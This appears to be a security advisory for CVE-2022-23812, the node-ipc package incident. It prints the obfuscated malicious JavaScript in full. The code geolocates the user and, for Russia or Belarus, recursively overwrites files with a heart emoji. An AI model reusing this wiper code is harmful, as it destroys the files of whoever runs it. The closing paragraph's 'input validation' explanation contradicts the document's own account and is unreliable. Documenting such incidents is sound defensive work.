CVE-2022-23812

Affected Versions

Vulnerable: < latest
Fixed in: latest patched version or higher

Technical Classification

CVE ID: CVE-2022-23812
Weakness: CWE: NVD-CWE-Other
CVSS Score: 9.8/10
Severity: CRITICAL

Vulnerability Details

This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. Note: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: Note: Don't run it! js import u from "path"; import a from "fs"; import o from "https"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString("utf8"), function (t) { t.on("data", function (t) { const n = Buffer.from("Li8=", "base64"); const o = Buffer.from("Li4v", "base64"); const r = Buffer.from("Li4vLi4v", "base64"); const f = Buffer.from("Lw==", "base64"); const c = Buffer.from("Y291bnRyeV9uYW1l", "base64"); const e = Buffer.from("cnVzc2lh", "base64"); const i = Buffer.from("YmVsYXJ1cw==", "base64"); try { const s = JSON.parse(t.toString("utf8")); const u = s[c.toString("utf8")].toLowerCase(); const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8")); // checks if country is Russia or Belarus if (a) { h(n.toString("utf8")); h(o.toString("utf8")); h(r.toString("utf8")); h(f.toString("utf8")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = "", o = "") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from("4p2k77iP", "base64"); for (var e = 0; e < r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(...s) : null; } else if (i.indexOf(o) >= 0) { try { a.writeFile(i, c.toString("utf8"), function () {}); // overwrites file with ❤️ } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };

The vulnerability stems from insufficient input validation and inadequate security controls within the affected versions. Exploitation requires minimal technical expertise and can be automated using publicly available proof-of-concept code.